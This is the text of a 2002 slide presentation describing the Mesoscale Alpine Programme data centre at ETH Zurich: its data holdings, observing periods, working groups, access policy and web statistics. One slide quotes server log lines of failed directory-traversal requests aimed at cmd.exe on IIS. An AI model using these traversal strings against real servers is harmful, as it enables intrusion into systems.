1. The MAP data centre: Its contents and rules of access Hans Hirter Institute for Atmospheric and Climate Science ETH Zurich Mesoscale Alpine Programme October 2002

2. Mesoscale Alpine Programme June 2002 http://www.map.ethz.ch MAP Data Centre Data Management (MAP Design Proposal) All data gathered in or used by MAP will be stored and made available by the MAP Data Centre (MDC). The MDC is physically located at the Institute for Atmospheric and Climate Science ETH Zurich. Access is through the Internet at address: http://www.map.ethz.ch

3. MAP Data Centre MDC Users Info Service Data Mesoscale Alpine Programme October 2002 Different points of view: 1.Structure (MDC) 2.Time scale (User) 3.Data policy (Provider)

4. MDC Information content (structure) Scientific Objectives Documents Newsletters Publications Data field catalog MAP Organization Ongoing Activities Mesoscale Alpine Programme October 2002

5. MDC Data content (structure)  SOP  GOP  Episodes  Seasons Mesoscale Alpine Programme October 2002

6. MDC Data content (structure)  SOP  GOP  Episodes  Seasons Mesoscale Alpine Programme October 2002 Special Observing Period 7. September - 15. November 1999 MDC -> SOP MAP Field Catalog

7. MDC Data content (structure)  SOP  GOP  Episodes  Seasons Mesoscale Alpine Programme October 2002 General Observing Period 1. October 1998 - 30. November 1999 MDC -> GOP

8. MDC Data content (structure)  SOP  GOP  Episodes  Seasons Mesoscale Alpine Programme October 2002 Vaison-la-Romaine Flash Flood 20.9. - 24.9.1992 Brig Flash Flood 21.9. - 25.9.1993 Piedmont Flash Flood 3.11. - 6.11.1994 South Ticino Flash Flood 12.9. - 14.9.1995 PYREX IOP3 15.10.1990 SETEX Case 3.7. - 5.7.1994 South Foehn 10.11. - 13.11.1995 Long-Lasting South Foehn Period 7.1. - 13.1.1996 Heavy Precipitation over Friuli 16.9. - 20.9.1995 Cold Front Passage 3.12. - 7.12.1992 North Foehn and Lee Cyclone 1. - 4.11.1995 CLEOPATRA Case 20. - 22.7.1992

9. MDC Data content (structure)  SOP  GOP  Episodes  Seasons Mesoscale Alpine Programme October 2002 MAP Season 1992 (1 June - 30 November) MAP Season 1993 MAP Season 1994 MAP Season 1995 MAP Season 1996 MAP Season 1997 MAP Season 1998 MAP Season 1999

10. MDC Services (structure) SOP Field Groups - FORM (Foehn in the Rhine Valley (COC) - GAP (Gap wind flow in the Brenner Cross Section)(Foehn in the Rhine Valley (COC) MAP Working Groups Projects - Alpine Precipitation Analyses - DAQUAMAP - HERA - RAPHAEL Special Services - Mailing List - Press Information Mesoscale Alpine Programme October 2002 Numerical ModellingNumerical Modelling Working Group Hydrological ModelsHydrological Models Working Group Routine Network DataRoutine Network Data Working Group (ROUND) AircraftAircraft Working Group Precipitation ProcessesPrecipitation Processes Working Group ForecastersForecasters Working Group Planetary Boundary LayerPlanetary Boundary Layer Working Group Precipitation ClimatologyPrecipitation Climatology Working Group PV BannerPV Banner Working Group Upper-level FeaturesUpper-level Features Working Group

11. MAP Data schedule (time scale) Mesoscale Alpine Programme October 2002

12. MAP Data Centre (Phase I) Mesoscale Alpine Programme October 2002

13. MOC,POC,COC and MNC Network Mesoscale Alpine Programme October 2002

14. MAP Data Centre (Phase III) Mesoscale Alpine Programme October 2002

15. MAP DATA ACCESS POLICY Required Data (Category R) Supplemental Data (Category S) Documents Demonstration: Required Data Supplemental Data Mesoscale Alpine Programme October 2002

16. Why this concept? Webserver Database Platform independent (No special Software) Easy to use user interface (One entry point) User has the choose (Time, parameters & stations) Uniform results for users (Publications) Data and information are up-to-date No connection between layout and content -> Examples Mesoscale Alpine Programme October 2002

17. MAP surface data Mesoscale Alpine Programme June 2002

18. MAP surface data Mesoscale Alpine Programme June 2002

19. MAP SOP sounding data Mesoscale Alpine Programme June 2002

20. MAP SOP Windprofiler Mesoscale Alpine Programme June 2002

21. MAP Publications Mesoscale Alpine Programme May 2001

22. MAP Publication Editor Mesoscale Alpine Programme June 2002 http://www.map2.ethz.ch/owa/map/map_pub_show

23. MAP FACT Forum Mesoscale Alpine Programme May 2001

24. Web Server Statistics for MAP 2002 Mesoscale Alpine Programme October 2002

25. MDC Hackers! "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 312 "-" "-" "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 310 "-" "-" "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-" "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320 "-" "-" "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 334 "-" "-" "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351 "-" "-" "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 351 "-" "-" "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir" "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 "-" "-" "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 "-" "-" "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 "-" "-" "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333 "-" "-" "GET /scripts/..%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 317 "-" "-" Mesoscale Alpine Programme June 2002 -> Example

26. Next generation Data Centre Object orientated database Content management system (CMS) Document management system (DMS).... Mesoscale Alpine Programme October 2002